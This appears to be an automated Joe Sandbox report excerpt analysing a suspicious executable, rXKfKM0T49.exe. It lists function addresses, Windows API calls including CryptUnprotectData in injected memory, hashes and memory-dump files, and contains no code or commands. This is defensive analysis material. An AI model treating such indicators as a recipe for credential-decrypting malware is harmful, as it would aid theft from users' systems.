Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,76F92EE0,00403A1A,76F93420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-297319885
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 700910E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 7009116A
GlobalFree.KERNEL32(00000000), ref: 700911C7
GlobalFree.KERNEL32(00000000), ref: 700911D9
GlobalFree.KERNEL32(?), ref: 70091203

Memory Dump Source

Source File: 00000000.00000002.1855880593.0000000070091000.00000020.00000001.01000000.00000004.sdmp, Offset: 70090000, based on PE: true

Associated: 00000000.00000002.1855819178.0000000070090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855965653.0000000070094000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1855996025.0000000070096000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70090000_rXKfKM0T49.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: e6ef47b9dba96a819223b15cba94aeccfe2c891bc405faf8ed71c565c50264af
Instruction ID: 3a08d5ff8cfc4124ac6568208cfc44b4dfb27c4045b72bb20fc3b67911026678
Opcode Fuzzy Hash: e6ef47b9dba96a819223b15cba94aeccfe2c891bc405faf8ed71c565c50264af
Instruction Fuzzy Hash: D831A772620101AFE3109F66DD45AAD77F9FB85B31720011AFA42E7364E774E811A7A8

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.1813079433.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1813067427.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813092329.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813103926.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813161725.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rXKfKM0T49.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: rXKfKM0T49.exePID: 1072, Parent PID: 5380COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.7%
Total number of Nodes:	362
Total number of Limit Nodes:	27

Executed Functions

Function 00158DA0 Relevance: 2.4, Strings: 1, Instructions: 1136COMMON

Download Yara Rule

Strings

hKy5Ky5, xrefs: 00158E3C, 00158F5E

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID: hKy5Ky5
API String ID: 0-2049275150
Opcode ID: 0e8c426d9457f177031a80c56b2e23326f4e15585ed41e09ac45335ac873d2e8
Instruction ID: d750a9cf61b61e97a8a513c21504dbe3140bddabd8a86e3bc9b1ddea64d693db
Opcode Fuzzy Hash: 0e8c426d9457f177031a80c56b2e23326f4e15585ed41e09ac45335ac873d2e8
Instruction Fuzzy Hash: 47A27F70A04209DFCB15CF68C994AAEBBB2FF88311F158569E825DF261D730ED49CB61

Function 001560E0 Relevance: 1.6, Strings: 1, Instructions: 336
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ny5$Oy5xOy5, xrefs: 001560E4

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID: Ny5$Oy5xOy5
API String ID: 0-4294424330
Opcode ID: 8ab0ef47273be179d8cac9bf292b7dc1d30316aac240fdd3fbfdb22d7f201b15
Instruction ID: a6959c8b307ed689a8777cb54a22e027f8b92e0efd651ce94d4a39a97a866fd3
Opcode Fuzzy Hash: 8ab0ef47273be179d8cac9bf292b7dc1d30316aac240fdd3fbfdb22d7f201b15
Instruction Fuzzy Hash: 6AD14F30A00119DFCB54CFA9C984AADBBB2FF98316F958165E825AF261DB30DD45CB90

Function 378AD9D9 Relevance: 1.6, APIs: 1, Instructions: 56
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(0000004D,?,00000000,?,?,?,?), ref: 378ADA45

Memory Dump Source

Source File: 00000003.00000002.2652426334.00000000378A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 378A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_378a0000_rXKfKM0T49.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 69e1778c625ee661c113edae90ceae9c9847972653d0095b2d5e985897c447b9
Instruction ID: bf09eb0fcb61f46bf260f7629b591d7578ffa43767eb005de1e659ee38617999
Opcode Fuzzy Hash: 69e1778c625ee661c113edae90ceae9c9847972653d0095b2d5e985897c447b9
Instruction Fuzzy Hash: 7D1167B2800249DFCF10CF9AC844BDEBBF4EF48320F14842AE958A7211C339A590CFA5

Function 378AD1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(0000004D,?,00000000,?,?,?,?), ref: 378ADA45

Memory Dump Source

Source File: 00000003.00000002.2652426334.00000000378A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 378A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_378a0000_rXKfKM0T49.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 27ba8ebbfd8ba184dc208e4e9d8fb97a6c074871e2cd5707db42a5debe7dc82e
Instruction ID: 46718abb8d211c04b5538c4fc344de3733f08a46a2563bbec2be4adc05bd4538
Opcode Fuzzy Hash: 27ba8ebbfd8ba184dc208e4e9d8fb97a6c074871e2cd5707db42a5debe7dc82e
Instruction Fuzzy Hash: 881159B2800349EFDB10CF9AC405BEEBBF4EB48320F148429E554A7211C775A554CFA5

Function 378A0C1B Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

s5, xrefs: 378A0C99

Memory Dump Source

Source File: 00000003.00000002.2652426334.00000000378A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 378A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_378a0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID: s5
API String ID: 0-1057577681
Opcode ID: 963a2e8b165512567a2a999b26de567d3c7d9364985dd5e3c816f7df88852664
Instruction ID: 1e1f9c83326d84d15a6be35900643bd0b76eabfcef9b150821012ae8347ea2b3
Opcode Fuzzy Hash: 963a2e8b165512567a2a999b26de567d3c7d9364985dd5e3c816f7df88852664
Instruction Fuzzy Hash: 7EA11674D00208CFEB14DFA4C988BDDBBB1BF89311F208269E448BB291DB75A985CF55

Function 378A0C28 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

s5, xrefs: 378A0C99

Memory Dump Source

Source File: 00000003.00000002.2652426334.00000000378A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 378A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_378a0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID: s5
API String ID: 0-1057577681
Opcode ID: 81f8081236876a2b75202bf6056dfe09e436958ae6df0a952d71be52f4ba03f1
Instruction ID: 1b54e329bbf4e6829f7ce6930175e06863c1977dcbef04fde250f6c447506df0
Opcode Fuzzy Hash: 81f8081236876a2b75202bf6056dfe09e436958ae6df0a952d71be52f4ba03f1
Instruction Fuzzy Hash: 07A11570D00208CFEB14DFA9C988BDDBBB1BF89311F208269E418BB291DB759985CF55

Function 38A1E790 Relevance: .8, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2654135806.0000000038A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 38A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38a10000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730533ebe386401bab3609200cdda5edcf35000a3262cdb8e9bd6c83ce3c642e
Instruction ID: c11194f3224096f742edd94aaada1b9463ea7fbd1f9be187e2b75f821f6e7212
Opcode Fuzzy Hash: 730533ebe386401bab3609200cdda5edcf35000a3262cdb8e9bd6c83ce3c642e
Instruction Fuzzy Hash: 1082C274A00229CFDB25DF65C894BA9B7B2FB89300F5081E9D90AB7351DB319E82DF50

Function 384EBDF0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c536e044520419ad2ebe21999809e3d8a7672cd2890ee5aba7f8581f2a86ef2c
Instruction ID: 34346a6d3bb89cf048d02f0455ccb441773f5d562ba9f4d2a98a7169d51d4f3a
Opcode Fuzzy Hash: c536e044520419ad2ebe21999809e3d8a7672cd2890ee5aba7f8581f2a86ef2c
Instruction Fuzzy Hash: 7272D274A01218CFDB25DF65C994BA9B7B2FB89301F5081E9D909B7361CB319E82DF50

Function 384E8650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d908e187c43445842c745d5f53f391b55d205b22b8666940020daf47611aa798
Instruction ID: ce3868f7eba1afe9c0609d53d5b06ad61659f56a843ff50a8422b258062ea8f5
Opcode Fuzzy Hash: d908e187c43445842c745d5f53f391b55d205b22b8666940020daf47611aa798
Instruction Fuzzy Hash: 2D72A274E01229CFEB64DF69C984BD9BBB2BB49301F5481E9D448A7351DB34AE81CF90

Function 001566B8 Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3da87ab261c56ae1e3fd5ed7cdfd360c8ae33c3c8ccd70891ec36c744609f4d
Instruction ID: eff4a302c5d7b40cfd36add722824fe3e3b7dd04ba04c9d9e43849fe7e5ff3e0
Opcode Fuzzy Hash: e3da87ab261c56ae1e3fd5ed7cdfd360c8ae33c3c8ccd70891ec36c744609f4d
Instruction Fuzzy Hash: E8126C30A00208DFCB14CF69D994AAEBBF2FF48315F558559E865EB261DB30ED45CB90

Function 378AC638 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2652426334.00000000378A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 378A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_378a0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d9b34a59caa1c71481a4cc895e9e274ed6c3981fecda782bcc1b8d4ee669d5d
Instruction ID: 3d642a2510bce0ddfad9f7ff5de88f392225ea24014fb2fd20f6126c17a3450e
Opcode Fuzzy Hash: 8d9b34a59caa1c71481a4cc895e9e274ed6c3981fecda782bcc1b8d4ee669d5d
Instruction Fuzzy Hash: 61E1F074E01218CFEB64CFA9C994B9DBBB2BF89300F2081A9D419B7391DB355A85CF51

Function 384E67C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d81b503c8a97446f2633a7606aeff0950de26e53d4c83e54463ff6e321ec16b
Instruction ID: 3a514471735f18697b0fe1e9329bda93832017a65c596cfbe01fd5cf2269f521
Opcode Fuzzy Hash: 6d81b503c8a97446f2633a7606aeff0950de26e53d4c83e54463ff6e321ec16b
Instruction Fuzzy Hash: 71C1CE74E00318CFDB54DFA5C994B9DBBB2AF89300F5080A9D819AB355DB359E85CF10

Function 378A03C4 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2652426334.00000000378A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 378A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_378a0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e4cb0c8654eaaf44c6ee101439f4930a59932b48047ef29ccd5d1b28a715d5a
Instruction ID: fc3b523d878c0d6ded2be809b68f12d550e80d81d6ab203acc78e5edfc575baf
Opcode Fuzzy Hash: 1e4cb0c8654eaaf44c6ee101439f4930a59932b48047ef29ccd5d1b28a715d5a
Instruction Fuzzy Hash: 33C1AE74E00318CFEB54DFA5C994BADBBB2BB88301F5080A9D809AB355EB355E85CF50

Function 384EB896 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86f1f806fc2574095b8ef2bd0baa66068bc0b1751862cf7f700c21adefc47364
Instruction ID: 3a28ca8e3f53496e8720d7db847370ecb688b0e21004d77a878d367958b561a1
Opcode Fuzzy Hash: 86f1f806fc2574095b8ef2bd0baa66068bc0b1751862cf7f700c21adefc47364
Instruction Fuzzy Hash: AFA19CB0D0A388CFEB29CFB5C9906CDBBF2AF49301F5884AAD454BB755D6305886CB51

Function 384EA360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d620d615fc6b99bf9bea3749d529acd02338ecf284c5cfa992cbed23dcda4e54
Instruction ID: 121f1739f007b5f657ea9ac7851edb5fae212aa50977cd1bc2d0758510e3bcfd
Opcode Fuzzy Hash: d620d615fc6b99bf9bea3749d529acd02338ecf284c5cfa992cbed23dcda4e54
Instruction Fuzzy Hash: DBA171B5E01228CFEB18CF6AC944B9DFBF2AF89301F54C1AAD408A7255DB345A85CF51

Function 384E9D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fca00c3616f978e14f813d86c204f56e9f0a3ff9aa76648650d72d324d2a85b
Instruction ID: b703dcc4df4964c52869790232b9c239d6260be9b4e1366e37905df4659d37a8
Opcode Fuzzy Hash: 0fca00c3616f978e14f813d86c204f56e9f0a3ff9aa76648650d72d324d2a85b
Instruction Fuzzy Hash: DDA183B4E01228CFEB18CF6AC944B9DBBF2BF89301F14C1AAD448A7255DB745A85CF51

Function 384EA9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 131b6b873e5f6711a938c3c13097a3897aee555d2832088ab2f9ac010aa9e9d5
Instruction ID: 7532618b906307c69fbe602534823c3b2a9c438a18f65c298935d781e83d49e1
Opcode Fuzzy Hash: 131b6b873e5f6711a938c3c13097a3897aee555d2832088ab2f9ac010aa9e9d5
Instruction Fuzzy Hash: A2A183B4E012288FEB24CF6AC944B9DBBF2BF89301F54C1AAD508B7255DB345A85CF51

Function 384E96C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29c3370f68e3b14c8797e5265addde0629c43ec49f178f96f04ec66705c0206d
Instruction ID: ee5a348bd280b76e6f45f4729e41e9cfb5854898064c4e06f508a9a326d50706
Opcode Fuzzy Hash: 29c3370f68e3b14c8797e5265addde0629c43ec49f178f96f04ec66705c0206d
Instruction Fuzzy Hash: BCA173B5E01218CFEB68CF6AC944B9DBBF2BF89301F14C1AAD448A7255DB345A85CF11

Function 378A0F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2652426334.00000000378A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 378A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_378a0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51739a36d808284afeee38d9183182e729ad38fe158191b3979caa5f5491279f
Instruction ID: ac6b9fe3d1d0846a83907203dc3f568fda95e9b3a9408d2be358dc0ea9ae7d33
Opcode Fuzzy Hash: 51739a36d808284afeee38d9183182e729ad38fe158191b3979caa5f5491279f
Instruction Fuzzy Hash: 4D91EF74D00208CFEB50DFA8D988B9CBBB1FF49311F208269E419BB291EB759985CF55

Function 00154328 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2623869181.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8809ea466948902fe450e429b6803cbfe3afb862dc82707cddf08c2244e68f3a
Instruction ID: 2249f24ffd8419b40380c393af59bbd150535f77d2ca5d6794d82316a84cb5ce
Opcode Fuzzy Hash: 8809ea466948902fe450e429b6803cbfe3afb862dc82707cddf08c2244e68f3a
Instruction Fuzzy Hash: 3291D874D00218CFDB14CFAAD984A9DBBF2BF89305F148169D819AB365DB345D45CF50

Function 384EBA97 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d93090e409951ba0e5bb73dc4684187d704d1c704ee6d99f7e22def54f524abc
Instruction ID: 20d4f44c43374daa70d597182cd5ee800cff77f7a560cff23f972c1738017ae9
Opcode Fuzzy Hash: d93090e409951ba0e5bb73dc4684187d704d1c704ee6d99f7e22def54f524abc
Instruction Fuzzy Hash: BB81E574E01248CFEB18DFA9D98069DBBF2BF88301F248529D454BB758DB35A942CF54

Function 384E8640 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba0f6b4102a4e49eeec295e59edd221e90d33b782c7712d3a70b7d12e44a2a6c
Instruction ID: 591d0eeb399891c455552b96e1ba9aa7e45f848af0795a38ae68ad19a103e70f
Opcode Fuzzy Hash: ba0f6b4102a4e49eeec295e59edd221e90d33b782c7712d3a70b7d12e44a2a6c
Instruction Fuzzy Hash: C081D575D05268CFDB64CF6AC9847DDBBB2BF89301F1480EAE418AB250DB356A85CF40

Function 384E96C3 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 909f6fa4ed6f030850a40fcd149ef7073695c1b7d4fb55d38b0a699515199147
Instruction ID: 87916066c73d5264ba863bbd3b32a29dbf6202bf0e46860523677e94f5594239
Opcode Fuzzy Hash: 909f6fa4ed6f030850a40fcd149ef7073695c1b7d4fb55d38b0a699515199147
Instruction Fuzzy Hash: 3D7192B4E01628CFEB68CF66C944B9DBBF2AF89300F14C0AAD40CA7255DB345A85CF11

Function 384EA9AF Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f917a04752c27f69006ac1efb80afa9cfc1bc3b68e1f02c2e5967cf418f9028
Instruction ID: 2be4ffa176c3d48278d856c9ae65b7b29d4806848696af2a856d7e1d789d25b2
Opcode Fuzzy Hash: 2f917a04752c27f69006ac1efb80afa9cfc1bc3b68e1f02c2e5967cf418f9028
Instruction Fuzzy Hash: 747175B4D016288FEB68CF66C944B9DBBF2AF89301F14C1AAD50CB7255DB345A85CF11

Function 384EC92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e4fb5fba42832edcdd3fc4ec7f211f1b223456375055c7a5e726564ac6be881
Instruction ID: 6a94c884d3c62c73cd2c458a8a017d5198270d9ffb424261b011d85214efb286
Opcode Fuzzy Hash: 3e4fb5fba42832edcdd3fc4ec7f211f1b223456375055c7a5e726564ac6be881
Instruction Fuzzy Hash: E3611634A00359DFEB25DFA1C894BADB772FB88300F5084AA991AB7755CB365D92DF00

Function 384E67B0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95c163bb7951df07443b0db1e4eadbc1d4c284983e7f1eb3a820f7dc16f605bb
Instruction ID: f2732d29e1b49980cdb709c23816a653380876f77fa74e45a15f6d6b8dd0d84e
Opcode Fuzzy Hash: 95c163bb7951df07443b0db1e4eadbc1d4c284983e7f1eb3a820f7dc16f605bb
Instruction Fuzzy Hash: 4941D2B5E01248CFEB18DFAAC99069DBBB2AF89300F24D169D418BB255EB385945CF50

Function 384E9D0B Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1850394885a56cc6b649f877c143cddb22bf58e14645900e5c2c5d8c15a46612
Instruction ID: fe3f18ef9b83ef3321db1fa75e17df5a6447ec54a87054e690ecca9dacb2d5c4
Opcode Fuzzy Hash: 1850394885a56cc6b649f877c143cddb22bf58e14645900e5c2c5d8c15a46612
Instruction Fuzzy Hash: CB4158B1E016188BEB58CF6BC9457D9FAF3AFC9301F14C1AAC50CA6264DB740A858F51

Function 384EA35F Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2653950437.00000000384E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_384e0000_rXKfKM0T49.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3146570e80c8d1ebdc0c0c49b721b4b048391966ec73e3e3f7d5252990ed3776
Instruction ID: e157458906556d77cb2285d59cec017902606527d1a64acf3b804fd511f2b8a4
Opcode Fuzzy Hash: 3146570e80c8d1ebdc0c0c49b721b4b048391966ec73e3e3f7d5252990ed3776
Instruction Fuzzy Hash: 5F4138B5E016188BEB58CF6BCD457C9FAF3AFC9300F14C1AAD50CA6264DB740A858F51

Function 38A10970 Relevance: 6.1, APIs: 4, Instructions: 137
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 38A109FE
GetCurrentThread.KERNEL32 ref: 38A10A3B
GetCurrentProcess.KERNEL32 ref: 38A10A78
GetCurrentThreadId.KERNEL32 ref: 38A10AD1

Memory Dump Source

Source File: 00000003.00000002.2654135806.0000000038A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 38A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38a10000_rXKfKM0T49.jbxd

Similarity

